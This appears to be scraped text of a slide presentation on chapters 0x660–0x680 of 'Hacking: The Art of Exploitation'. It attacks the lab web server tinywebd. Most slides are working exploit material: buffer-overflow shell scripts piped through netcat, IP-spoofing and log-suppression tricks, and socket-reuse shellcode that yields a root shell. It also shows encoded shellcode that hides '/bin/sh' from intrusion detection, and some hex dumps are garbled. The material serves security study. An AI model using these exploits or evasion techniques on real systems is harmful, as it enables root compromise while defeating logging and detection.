Download presentation
Presentation is loading. Please wait.
1
Hacking: The Art of Exploitation
0x x680 Presenter: Jaesang Oh
2
Contents 0x660: Advanced Camouflage 0x670: The Whole Infrastructure
0x680: Payload Smuggling
3
0x660: Advanced Camouflage
In previous topic, we discuss how to hide exploit attempt written in a log file Example: Blend in with the Crowd But IP address of attacker still written in a log file $ sudo cat tinywebd.log 12/11/ :43:27> Starting up.. 12/11/ :43:41> From :36059 "GET / HTTP/1.1" 200 OK 12/11/ :43:41> From :36060 "GET /image.jpg HTTP/1.1" 200 OK 12/11/ :43:41> From :36061 "GET /favicon.ico HTTP/1.1" 404 Not Found $
4
How to know the IP address
In tinywebd.c, void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr, int logfd) { unsigned char *ptr, request[500], resource[500], log_buffer[500]; int fd, length; length = recv_line(sockfd, request); sprintf(log_buffer, "From %s:%d \"%s\"\t", inet_ntoa(client_addr_ptr->sin_addr), ntohs(client_addr_ptr ->sin_port), request); Sockaddr_in struct contains the IP address and port number Spoof IP address by overwriting client_addr_ptr
5
Value of client_addr_ptr
Executing addr_struct.c , int main(int argc, char *argv[]) { struct sockaddr_in addr; if(argc != 3) { printf("Usage: %s <target IP> <target port>\n", argv[0]); exit(0); } addr.sin_family = AF_INET; addr.sin_port = htons(atoi(argv[2])); addr.sin_addr.s_addr = inet_addr(argv[1]); write(1, &addr, sizeof(struct sockaddr_in)); printf ("\n\nSizeof sockaddr_in: %d\n\n", sizeof(struct sockaddr_in)); } We can get $ ./addr_struct #� "8N�o Sizeof sockaddr_in: 16 $ ./addr_struct | hexdump -C c e f4 6f fd b7 |..#.."8N.....o..| 0a 0a a 65 6f 66 f 63 6b |..Sizeof sockadd| 72 5f 69 6e 3a 0a 0a |r_in: 16..| a $
6
Exploit Code request buffer location == 0xbffff520
RET location == 0xbffff73c Offset == 540 bytes (gdb) x/x request 0xbffff520: 0x (gdb) x/16x request xbffff714: 0xb7fd6ff4 0xb8000ce0 0x 0xbffff7a8 0xbffff724: 0xb7ff9300 0xb7fd6ff4 0xbffff7a8 0xb7fd6ff4 0xbffff734: 0xb7fd6ff4 0xbffff7a8 0x08048fb7 0x xbffff744: 0xbffff770 0x 0xbffff798 0x (gdb) x/x 0xbffff xbffff73c: 0x08048fb7 (gdb) p 0xbffff73c - 0xbffff520 $1 = 540 (gdb) Exploit [ Fake Request ] [ NOP Sled ] [ Shellcode ] [ RET Addr * 32 ] == 544 bytes
7
Exploit code (xtool_tinywebd_spoof.sh)
[ Fake Request ] [ client_addr_ptr ] [ NOP Sled ] [ Shellcode ] [ RET Addr * 32 ] [ *client_addr_ptr ] == 552 bytes #!/bin/sh # IP spoofing stealth exploitation tool for tinywebd SPOOFIP=" " SPOOFPORT="9090“ …… RETADDR="\x84\xf5\xff\xbf" # at +100 bytes from 0xbffff5c0 – I have to modify hex value FAKEADDR="\x2f\xf5\xff\xbf" # +15 bytes from 0xbffff5c0 – I have to modify hex value ALIGNED_SLED_SIZE=$(($OFFSET+4 - (32*4) - $SIZE - $FR_SIZE - 16)) (perl -e "print \"$FAKEREQUEST\""; ./addr_struct "$SPOOFIP" "$SPOOFPORT"; perl -e "print \"\x90\"x$ALIGNED_SLED_SIZE"; cat $1; perl -e "print \"$RETADDR\"x32 . \"$FAKEADDR\"x2 . \"\r\n\"") | nc -w 1 -v $2 80
8
Execution Result Failed (In my Lab Computer)
(gdb) x/x request 0xbffff580: 0x (gdb) cont Continuing. Breakpoint 1, handle_connection (sockfd=7, client_addr_ptr=0xbffff7d0, logfd=3) at tinywebd.c: length = recv_line(sockfd, request); (gdb) cont Continuing. Breakpoint 1, handle_connection (sockfd=8, client_addr_ptr=0xbffff7d0, logfd=3) at tinywebd.c: length = recv_line(sockfd, request); (gdb) bt #0 handle_connection (sockfd=8, client_addr_ptr=0xbffff7d0, logfd=3) at tinywebd.c:86 #1 0x08048fb7 in main () at tinywebd.c:72 (gdb) print *client_addr_ptr $1 = {sin_family = 2, sin_port = 60134, sin_addr = {s_addr = }, sin_zero = "\000\000\000\000\000\000\000"} (gdb) cont Continuing. Program received signal SIGSEGV, Segmentation fault. 0x08048fe1 in handle_connection (sockfd= , client_addr_ptr=0xf5e4bfff, logfd= ) at tinywebd.c: sprintf(log_buffer, "From %s:%d \"%s\"\t", inet_ntoa(client_addr_ptr->sin_addr), ntohs(client_addr_ptr->sin_port), request); (gdb)
9
Execution Result Success (In my Macbook)
Breakpoint 1, handle_connection (sockfd=6, client_addr_ptr=0xbffff7d0, logfd=3) at tinywebd.c: length = recv_line(sockfd, request); (gdb) b 89 Breakpoint 2 at 0x : file tinywebd.c, line 89. (gdb) print *client_addr_ptr $2 = {sin_family = 2, sin_port = 33438, sin_addr = {s_addr = }, sin_zero = "\000\000\000\000\000\000\000"} (gdb) cont Continuing. Breakpoint 2, handle_connection (sockfd= , client_addr_ptr=0xbffff58f, logfd=2560) at tinywebd.c: ptr = strstr(request, " HTTP/"); // search for valid looking request (gdb) print *client_addr_ptr $3 = {sin_family = 2, sin_port = 33315, sin_addr = {s_addr = }, sin_zero = "\000\000\000\000�o (gdb) x/s log_buffer 0xbffff180: "From :9090 \"GET / HTTP/1.1\"\t“ I don’t know why it happens :(
10
Do not write Log In handle_connection function, In previous slide,
void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr, int logfd) { unsigned char *ptr, request[500], resource[500], log_buffer[500]; int fd, length; … write(logfd, log_buffer, length); // write to the log In previous slide, Breakpoint 1, handle_connection (sockfd=6, client_addr_ptr=0xbffff7d0, logfd=3) at tinywebd.c:86 If logfd is not 3, it fails to write log $ sudo strace -p e trace=write Process 5200 attached - interrupt to quit write(2560, "12/11/ :24:49> ", 21) = -1 EBADF (Bad file descriptor) write(2560, "From :9090 \"GET / HTT"..., 47) = -1 EBADF (Bad file descriptor) write(3, "12/11/ :34:41> ", 21) = 21 write(3, "From :57891 \"GET / HTTP"..., 46) = 46
11
Exploit Code If we change the value of logfd, log will be w
[ Fake Request ] [ client_addr_ptr ] [ NOP Sled ] [ Shellcode ] [ RET Addr * 32 ] [ *client_addr_ptr ] [File Descriptor] == 553 bytes …… (perl -e "print \"$FAKEREQUEST\""; ./addr_struct "$SPOOFIP" "$SPOOFPORT"; perl -e "print \"\x90\"x$ALIGNED_SLED_SIZE"; cat $1; perl -e "print \"$RETADDR\"x32 . \"$FAKEADDR\"x2 . \"\x01\x00\x00\x00\r\n\"") | nc -w 1 -v $2 80 File Descriptor value “1” Daemon does not print the result to Standard output(fd == 1) ( redirect output to /dev/null )
12
Execution Result (In my Mac)
$ ls -l /Hacked -rw root root :59 /Hacked $ sudo rm /Hacked Password: $ ps aux | grep tinywebd root 5200 0.0 0.0 1636 464 ? Ss 10:58 0:00 ./tinywebd jaesang 6440 0.0 0.1 2880 748 pts/0 R+ 11:41 0:00 grep tinywebd $ ls -l /var/log/tinywebd.log -rw root root :34 /var/log/tinywebd.log $ ./xtool_tinywebd_silent.sh mark_restore target IP: shellcode: mark_restore (53 bytes) fake request: "GET / HTTP/1.1\x00" (15 bytes) [Fake Request 15] [spoof IP 16] [NOP 332] [shellcode 53] [ret addr 128] [*fake_addr 8] localhost [ ] 80 (www) open $ ls -l /var/log/tinywebd.log -rw root root :34 /var/log/tinywebd.log $ ls -l /Hacked -rw root root :42 /Hacked $ Shellcode executed without writing log
13
0x670: The Whole Infrastructure
IDS and IPS detect exploit attempt by several ways Analyze abnormal log Check connection with other port, such as 31337 We can use same socket since we already open socket from the web request
14
Socket Reuse However, we corrupt socket descriptor when overflowing request buffer In previous Execution result, Breakpoint 1, handle_connection (sockfd=6, client_addr_ptr=0xbffff7d0, logfd=3) at tinywebd.c:86 Breakpoint 2, handle_connection (sockfd= , client_addr_ptr=0xbffff58f, logfd=2560) at tinywebd.c:90 Since sockfd is passed-by-value to handle_connection(), original value of sockfd is remain in main()
15
Socket Reuse – tinywebd.c
In main() int new_sockfd, yes=1; …… while(1) { // Accept loop sin_size = sizeof(struct sockaddr_in); new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size); if(new_sockfd == -1) fatal("accepting connection"); handle_connection(new_sockfd, &client_addr, logfd); } return 0; } void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr, int logfd) { unsigned char *ptr, request[500], resource[500], log_buffer[500]; int fd, length;
16
Calculating the address of new_sockfd
Distance(Offset) from ESP Breakpoint 1, handle_connection (sockfd=16, client_addr_ptr=0xbffff7d0, logfd=3) at tinywebd.c: length = recv_line(sockfd, request); (gdb) x/x &sockfd 0xbffff7a0: 0x (gdb) x/x &new_sockfd No symbol "new_sockfd" in current context. (gdb) bt #0 handle_connection (sockfd=16, client_addr_ptr=0xbffff7d0, logfd=3) at tinywebd.c:86 #1 0x08048fb7 in main () at tinywebd.c:72 (gdb) select-frame 1 (gdb) x/x &new_sockfd 0xbffff7fc: 0x (gdb) i r esp esp 0xbffff7a0 0xbffff7a0 (gdb) p /x 0xbffff7fc - 0xbffff7a0 $1 = 0x5c (gdb) 0x5c is the distance of new_sockfd from ESP
17
Loopback shell improved (0x650)
socket_reuse_restore.s …… child_process: ; re-use existing socket lea edx, [esp+0x5c] ; put the address of new_sockfd in edx mov ebx, [edx] ; put the value of new_sockfd in ebx push BYTE 0x02 pop ecx ; ecx starts at 2 xor eax, eax xor edx, edx dup_loop: mov BYTE al, 0x3F ; dup2 syscall #63 int 0x80 ; dup2(c, 0) dec ecx ; count down to 0 jns dup_loop ; if the sign flag is not set, ecx is not negative Copy used socket descriptor (new_sockfd) to fd 0, 1, and 2
18
Execve in Socket_reuse_restore.s
Socket_reuse_restore.s cont ; execve(const char *filename, char *const argv [], char *const envp[]) mov BYTE al, 11 ; execve syscall #11 push edx ; push some nulls for string termination push 0x68732f2f ; push "//sh" to the stack push 0x6e69622f ; push "/bin" to the stack mov ebx, esp ; put the address of "/bin//sh" into ebx, via esp push edx ; push 32-bit null terminator to stack mov edx, esp ; this is an empty array for envp push ebx ; push string addr to stack above null terminator mov ecx, esp ; this is the argv array with string ptr int 0x80 ; execve("/bin//sh", ["/bin//sh", NULL], [NULL]) For compare result in next topic
19
Exploit code (xtool_tinywebd_reuse.sh)
[ Fake Request ] [ client_addr_ptr ] [ NOP Sled ] [ Shellcode ] [ RET Addr * 32 ] [ *client_addr_ptr ] [File Descriptor] [ cat command ] …… (perl -e "print \"$FAKEREQUEST\""; ./addr_struct "$SPOOFIP" "$SPOOFPORT"; perl -e "print \"\x90\"x$ALIGNED_SLED_SIZE"; cat $1; perl -e "print \"$RETADDR\"x32 . \"$FAKEADDR\"x2 . \"\x01\x00\x00\x00\r\n\""; cat -;) | nc -v $2 80
20
Execution Result (In my Mac)
$ ./xtool_tinywebd_reuse.sh socket_reuse_restore target IP: shellcode: socket_reuse_restore (62 bytes) fake request: "GET / HTTP/1.1\x00" (15 bytes) [Fake Request 15] [spoof IP 16] [NOP 323] [shellcode 62] [ret addr 128] [*fake_addr 8] localhost [ ] 80 (www) open whoami root pwd /home/jaesang/booksrc By using existing socket and netcat, we can use command as root privilege
21
0x680: Payload Smuggling IDS or IPS can also analyze the packet itself
For example, they can find shell code which contains the substring /bin or //sh (to make /bin/sh) socket_reuse_restore.s file $ hexdump -C socket_reuse_restore 6a cd c0 74 0a 8d 6c b7 8f |j.X....t..l$hh..| 04 08 c3 8d c 8b 1a 6a c0 31 d2 |....T$\..j.Y1.1.| b0 3f cd f9 b0 0b f 2f |.?..Iy...Rh//shh| 2f e 89 e e e1 cd 80 |/bin..R..S....| e We can bypass it by hiding this string
22
String Encoding Strategy: Simply add 5 to each byte in the string in hiding phase, and subtract 5 in the shell code $ echo "/bin/sh" | hexdump -C 2f e 2f a |/bin/sh.| <- 0a should be modified to 00 to indicate string $ gdb -q (gdb) print /x 0x0a68732f + 0x $1 = 0xf6d <- should be modified to 0x56d7834 (gdb) print /x 0x6e69622f + 0x $2 = 0x736e6734 (gdb)
23
String Encoding In Shellcode
Other things are similar to previous shellcode. But this shellcode does not contain /bin or //sh itself encoded_socketreuserestore.s ; execve(const char *filename, char *const argv [], char *const envp[]) mov BYTE al, 11 ; execve syscall #11 push 0x056d7834 ; push "/sh\x00" encoded +5 to the stack push 0x736e6734 ; push "/bin" encoded +5 to the stack mov ebx, esp ; put the address of encoded "/bin/sh" into ebx …… push BYTE 0x8 ; need to decode 8 bytes pop edx decode_loop: sub BYTE [ebx+edx], 0x5 dec edx jns decode_loop
24
Execution Result (In my Mac)
$ hexdump -C encoded_sockreuserestore 6a cd c0 74 0a 8d 6c b7 8f |j.X....t..l$hh..| 04 08 c3 8d c 8b 1a 6a c0 b0 3f |....T$\..j.Y1..?| cd f9 b0 0b 68 d e |..Iy...h4xm.h4gn| 73 89 e3 6a 08 5a 80 2c a 79 f9 31 d2 52 |s..j.Z.,..Jy.1.R| 89 e e1 cd 80 |..S....| $ ./xtool_tinywebd_reuse.sh encoded_sockreuserestore target IP: shellcode: encoded_sockreuserestore (71 bytes) fake request: "GET / HTTP/1.1\x00" (15 bytes) [Fake Request 15] [spoof IP 16] [NOP 314] [shellcode 71] [ret addr 128] [*fake_addr 8] localhost [ ] 80 (www) open whoami root We can use shell without “/bin/sh” inside the shellcode
25
…?
Similar presentations
© 2025 SlidePlayer.com. Inc.
All rights reserved.